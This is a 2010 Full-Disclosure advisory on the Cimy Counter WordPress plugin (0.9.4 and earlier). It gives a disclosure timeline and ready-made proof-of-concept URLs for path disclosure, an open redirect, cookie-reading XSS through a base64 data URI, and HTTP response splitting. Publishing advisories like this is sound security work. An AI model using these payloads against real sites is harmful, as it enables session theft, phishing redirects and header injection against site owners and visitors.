Cimy Counter For Wordpress Full Path Disclosure / Cross Site Scripting

`Hello Full-Disclosure!  
  
I want to warn you about security vulnerabilities in plugin Cimy Counter for  
WordPress.  
  
-----------------------------  
Advisory: Vulnerabilities in Cimy Counter for WordPress  
-----------------------------  
URL: http://websecurity.com.ua/4170/  
-----------------------------  
Affected products: Cimy Counter 0.9.4 and previous versions.  
-----------------------------  
Timeline:  
  
20.04.2010 - found vulnerabilities.  
28.04.2010 - announced at my site.  
29.04.2010 - informed developer.  
06.05.2010 - developer released Cimy Counter 0.9.5. In version 0.9.5 the  
author fixed all mentioned vulnerabilities except Redirector (aka URL  
Redirector Abuse in WASC TC v2). And I gave him addition argumentation to  
fix Redirector hole also.  
24.06.2010 - disclosed at my site.  
-----------------------------  
Details:  
  
These are Full path disclosure, Redirector, Cross-Site Scripting and HTTP  
Response Spitting vulnerabilities.  
  
Full path disclosure:  
  
http://site/wp-content/plugins/cimy-counter/cimy_counter.php  
  
http://site/wp-content/plugins/cimy-counter/cc_redirect.php?cc=Downloads&fn=%0A1  
  
Redirector:  
  
http://site/wp-content/plugins/cimy-counter/cc_redirect.php?cc=Downloads&fn=http://websecurity.com.ua  
  
XSS:  
  
http://site/wp-content/plugins/cimy-counter/cc_redirect.php?cc=Downloads&fn=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ%2b  
  
HTTP Response Spitting:  
  
http://site/wp-content/plugins/cimy-counter/cc_redirect.php?cc=TestCounter&fn=%0AHeader:test  
  
Works at old versions of PHP.  
  
Best wishes & regards,  
MustLive  
Administrator of Websecurity web site  
http://websecurity.com.ua   
  
  
`